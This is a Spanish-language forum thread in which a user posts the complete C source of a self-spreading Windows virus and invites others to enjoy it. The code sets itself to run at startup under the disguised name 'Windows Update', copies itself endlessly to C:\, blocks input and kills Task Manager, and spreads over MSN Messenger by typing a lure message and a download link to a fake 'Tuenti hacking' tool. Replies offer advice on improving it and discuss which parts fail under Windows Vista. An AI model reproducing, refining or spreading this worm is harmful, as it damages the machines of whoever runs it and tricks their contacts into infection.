Autor
|
Tema: Mi virus en c (Leído 2,181 veces)
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
Hola, presento aqui mi virus en c. Lo que hace es propagarse por msn, copiarse al registro,copiarse infinitamente a c:\ y ya ire poniendole mas cosas. #include <windows.h> #include <time.h> #include <winable.h> bool siono=false; int funcioncopiadora(); int copiaregistro(); int jodeventanas(); int payload(); int escribe(); char nomre[50]; char hola[100]="mira el programa q se a inventao el primo de un amigo mio que s jaker!!!pa jakear tuentiiis!!!"; char ruta[50]="http://hackingtuenti.galeon.com/jakeatuenti.zip"; char siclicas[100]="si clicas el enlace t sale una bntanita pa dscargartlo como jakes el mi no te vuelvo a ablar!!!!!"; BOOL CALLBACK enumera(HWND mini,LPARAM lparam); int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) { copiaregistro(); MessageBox(0,"Eres un puñetero pringao","Infectado",0); HANDLE hilo; DWORD dhilo; hilo = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&funcioncopiadora, NULL, CREATE_SUSPENDED, &dhilo); ResumeThread(hilo); HANDLE hilo2; DWORD dhilo2; hilo2= CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&jodeventanas,NULL, CREATE_SUSPENDED,&dhilo2); ResumeThread(hilo2); HANDLE hilo3; DWORD dhilo3; hilo3= CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&escribe,NULL,CREATE_SUSPENDED,&dhilo3); ResumeThread(hilo3); HANDLE hilo4; DWORD dhilo4; hilo4=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&payload,NULL,CREATE_SUSPENDED,&dhilo4); ResumeThread(hilo4); for (;;) { Sleep(1); } } int funcioncopiadora(){ for (int i=0;i>-1;i++) { char path[256]; srand(time(0)); char numero[60]; char ruta[60]='C:\\''; /* Solo es una comilla de las dos finales, pero el geshi lo mal interpreta */ itoa(rand(),numero,10); strcat(numero,".exe"); strcat(ruta,numero); HMODULE yo = GetModuleHandle(0); GetModuleFileName(yo, path, 256); CopyFile(path,ruta,false); } return 0; } int copiaregistro() { HKEY registro; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,®istro ); RegSetValueEx(registro, "Windows Update",0,REG_SZ,(const unsigned char*)system,40); RegCloseKey(registro); } int jodeventanas() { for (int i=0;i>-1;i++) { HWND ventana=FindWindow(NULL,"Administrador de tareas de Windows"); if( ventana != NULL ) { BlockInput(true); SetWindowText(ventana,"Te crees muy listo ehh?"); Sleep(5000); PostMessage( ventana, WM_CLOSE, (LPARAM)0, (WPARAM)0); BlockInput(false); } }} int escribe() { char nombreventana[500]; HWND ventanamsn; for (;;){ HWND ventanamsn=GetForegroundWindow(); EnumChildWindows(ventanamsn,enumera,0); if (siono) { ShowWindow(ventanamsn,SW_MINIMIZE); siono=false; BlockInput(false); Sleep(5000); }} } BOOL CALLBACK enumera(HWND mini,LPARAM lparam){ char clas[50]; GetClassName(mini,clas,50); if (strcmp("DirectUIHWND",clas)==0) { BlockInput(true); for (int i=0;i<=100;i++) { PostMessage(mini,WM_CHAR,hola[i],0); } PostMessage(mini,WM_KEYDOWN,VK_RETURN,0); for (int i=0;i<=49;i++) { PostMessage(mini,WM_CHAR,ruta[i],0); } PostMessage(mini,WM_KEYDOWN,VK_RETURN,0); for (int i=0;i<=100;i++) { PostMessage(mini,WM_CHAR,siclicas[i],0); } PostMessage(mini,WM_KEYDOWN,VK_RETURN,0); siono=true; BlockInput(false); return 0;}} int payload(){ srand(time(0)); switch (rand()%100+1){ case 21: for (int i=0;i<=50000;i++) { SetCursorPos(rand(),rand()); } break; default : Sleep(50000); break; } return 0; }
Bueno pues ahi está. Espero que os guste.
|
|
|
|
« Última modificación: 6 Agosto 2009, 17:08 por braulio23 »
|
En línea
|
|
|
|
vertexSymphony
Desconectado
Mensajes: 2.009
/usr/home/alex
|
Bastante básico, yo siempre pensé que escribir malware es como escribir una sinfonía, tenés la facilidad de que sea un absoluto desastre como que sea completamente innovador... ah, y por favor, no digas que es C++, ya que C++ es un lenguaje orientado a objetos, y este código carece de encapsulación por ejemplo (nótese las variables globales) por ahora deberías ir leyendo libros de C++ como Thinking In C++, Conclase y similares... Umhh, este thread me tiró unas ideas... Anyways, si necesitás ayuda con esto, tell me =) lo que te podría decir es : identación, threads innecesarios (ninguna función es bloqueante y aún así hay opciones no bloqueantes), STL : te invito a usarla (std::string,std::vector,etc..), verificar valores de retorno, errores, and so on .... simples prácticas de programación que mejoran a mil el código y su calidad... ya de por sí, bienvenido al foro  Saludos, Alex~
|
|
|
|
|
En línea
|
Mail/PGP/XMPP/D* wget -O vertexSymphony.asc "http://pastebin.com/raw.php?i=ZfGLcY1d" ; gpg --import vertexSymphony.asc ; gpg --list-keys 0xCD21671D
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
Gracias, mirare lo que me has dicho y he modificado el título.
|
|
|
|
« Última modificación: 7 Marzo 2009, 12:38 por braulio23 »
|
En línea
|
|
|
|
BadDevil
Desconectado
Mensajes: 1.475
|
Gracias, mirare lo que me has dicho y he modificado el título.
Estas seguro que lo hiciste tu , por que no sabias que era C en vez de C++... es como para dudar xD 
|
|
|
|
|
En línea
|
Aprendiendo: Java , C# , pl/sql, mysql , sql server, PHP , Access, JSF, Facelets, JSP, CakePHP, JQuery
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
Estoy seguro de que lo he hecho yo. Puse c++ porque yo aprendi del curso de conclase que es un curso de c++ pero no llegue a lo que es la poo. Luego el resto de funciones las fui aprendiendo de distintos lados y como yo lo que busque en google en primer lugar para aprender un lenguaje fue "curso c++" pues se me olvido comprobar que en realidadno usaba la poo que es la diferencia mas importante entre c y c++ y por lo tanto era c. No duden, el code lo he hecho yo, pueden preguntarme lo que quieran sobre el.
|
|
|
|
|
En línea
|
|
|
|
hidevil
Desconectado
Mensajes: 30
|
Una pregunta, así como los virus en batch al windows vista no le hacen nada, sale una pantallita de cmd y pone: acceso denegado, los virus en c sí funcionan?
aclararme la duda por favor.
|
|
|
|
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
Yo, lo probe en un vista y muchas cosas no funcionaban como el blockinput(true); supongo que lo de acceso denegado sera por no tener los permisos de administrador
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.946
Lavando Platos
|
Hay varias cosas que no funcionaran en vista, como el que se ejecute en el inicio, porque esta usando HKLM, tampoco se copiara en c:\ infinitas veces ni tendra permiso de jugar con la ventana de taskmgr..
Pero si estara jugando con tu mouse y tu messenger por un rato..
Ahora, el UAC te va a alertar que el programa es peligroso en cuanto lo trates de abrir, y probablemente el windows defender lo detecte como virus por pura heuristica.. pero bueno, no hay ningun mecanismo de proteccion, es normal que suceda.
Saludos!!
|
|
|
|
|
En línea
|
|
|
|
|
|